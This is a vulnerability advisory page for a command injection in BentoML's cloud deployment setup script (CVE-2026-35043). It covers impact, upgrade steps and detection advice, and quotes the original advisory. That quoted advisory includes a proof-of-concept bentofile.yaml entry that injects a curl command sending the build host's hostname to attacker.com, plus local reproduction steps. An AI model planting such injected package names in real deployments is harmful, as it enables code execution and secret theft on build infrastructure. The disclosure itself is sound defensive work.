AgentbeamBeta
AI agent vulnerability · BentoML

CVE-2026-35043: BentoML: Command Injection in cloud deployment setup script

highCVSS 3.1 7.8GHSA-fgv4-6jr3-jgfw

BentoML up to and including 1.4.37 has a command injection in its BentoCloud deployment path. Package names in the system_packages list of bentofile.yaml are placed unquoted into a setup.sh that runs on the cloud build infrastructure. A poisoned bentofile.yaml gives code execution there. Upgrade to bentoml 1.4.38.

Published Apr 3, 2026 · Updated Jun 8, 2026 · Analysis Nov 21, 2026

What an attacker can do

An earlier commit, ce53491, added shlex.quote to system_packages handling in images.py and in the Dockerfile templates. It missed _build_setup_script() in src/bentoml/_internal/cloud/deployment.py. That function joins the packages with spaces and puts them straight into an apt-get install command line inside an f-string.

The script is uploaded to BentoCloud as setup.sh and runs during container setup. A package entry such as "jq; curl ... #" ends the apt-get command with the semicolon, runs the injected command, and uses # to comment out the trailing || exit 1. The same function is also called during Deployment.watch() for dev-mode hot reload.

The attacker needs a bentofile.yaml that a victim deploys. That can be a shared Bento from a public model hub, or a user with deploy rights. The advisory describes the result as command execution on BentoCloud build infrastructure or on enterprise Yatai and Kubernetes build nodes. Build hosts often hold registry credentials, artifact storage access and deployment API keys, so one poisoned file can be a pivot into wider infrastructure. The CVSS vector needs user interaction, which is the deploy step.

Who is affected

The pip package bentoml at version 1.4.37 or earlier. Only the cloud deployment path is affected, meaning BentoCloud deploys and the dev-mode watch flow. Check the installed version:

pip show bentoml

Also review any bentofile.yaml from outside sources for odd entries under docker.system_packages.

bentoml

Ecosystem
PyPI
Affected
<= 1.4.37
Fixed in
1.4.38
Check
pip show bentoml

How to fix it

Upgrade to bentoml 1.4.38:

pip install --upgrade "bentoml>=1.4.38"

The fix applies shlex.quote to each package name, as the reporter suggested, so the whole string becomes one literal argument to apt-get. Until you upgrade, do not deploy Bentos whose bentofile.yaml you did not write or review.

How to tell if you were hit

Read the docker.system_packages entries in every bentofile.yaml you deploy. Valid apt package names have no semicolons, #, $, backticks or ${IFS}. Inspect generated setup.sh files for commands after the apt-get install line. On build hosts, look for outbound requests to unfamiliar domains during deployment, such as a curl carrying the hostname in the URL, as in the reporter's proof of concept.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.

The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.

Details

Fixed paths (commit ce53491):

  • src/_bentoml_sdk/images.py:88 - added shlex.quote(package)
  • src/bentoml/_internal/bento/build_config.py:505 - added bash_quote Jinja2 filter
  • Jinja2 templates: base_debian.j2, base_alpine.j2, etc.

Unfixed path:

src/bentoml/_internal/cloud/deployment.py, line 1648:

def _build_setup_script(bento_dir: str, image: Image | None) -> bytes: content = b"" config = BentoBuildConfig.from_bento_dir(bento_dir) if config.docker.system_packages: content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()

system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.

Remote execution confirmed:

  • Line 905: setup_script = _build_setup_script(bento_dir, svc.image) in _init_deployment_files
  • Line 908: upload_files.append(("setup.sh", setup_script)) uploads to BentoCloud
  • Line 914: self.upload_files(upload_files, ...) sends to the remote deployment
  • The script runs on the cloud build infrastructure during container setup

Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.

Proof of Concept

bentofile.yaml:

service: "service:svc" docker: system_packages:

  • "curl"
  • "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"

Generated setup.sh:

apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1

The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.

Impact

A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:

  1. Supply chain: A shared Bento from a public model hub contains a poisoned bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure.
  2. Insider threat: A data scientist with deploy permissions injects commands into system_packages to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data).
  3. CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.

Local Reproduction Steps

Tested and confirmed on Ubuntu with BentoML source at commit 0772581.

Step 1: Create a directory with a malicious bentofile.yaml:

mkdir /tmp/bento-pwn cat > /tmp/bento-pwn/bentofile.yaml << 'EOF' service: "service:svc" docker: system_packages:

  • "curl"
  • "jq; touch /tmp/PWNED_BY_INJECTION #" EOF

Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):

python3 -c " import yaml with open('/tmp/bento-pwn/bentofile.yaml') as f: config = yaml.safe_load(f) pkgs = config['docker']['system_packages'] script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\" print('Generated setup.sh:') print(script) with open('/tmp/bento-pwn/setup.sh', 'w') as f: f.write(script) "

Step 3: Execute and verify:

rm -f /tmp/PWNED_BY_INJECTION bash /tmp/bento-pwn/setup.sh ls -la /tmp/PWNED_BY_INJECTION

Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.

Generated setup.sh content:

apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1

For comparison, the fixed version (with shlex.quote) would generate:

apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1

The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.

Suggested Fix

Apply shlex.quote to each package name, matching the fix in images.py:

if config.docker.system_packages: quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages) content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()

— Koda Reef

Credited to kodareef5.

Questions

Is BentoML 1.4.37 affected by CVE-2026-35043?

Yes. The advisory lists all versions up to and including 1.4.37 as vulnerable. 1.4.38 is the patched version.

Does it affect local builds with bentoml build?

The advisory says commit ce53491 already fixed the image and Dockerfile template paths. The unfixed path is the cloud deployment setup script built in deployment.py.

What does the attacker need?

A malicious bentofile.yaml that someone deploys to BentoCloud or a Yatai build node. The CVSS vector marks user interaction as required.

Is it exploited in the wild?

No source reports exploitation, and the entry has no CISA KEV record.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More BentoML vulnerabilities

All BentoML entries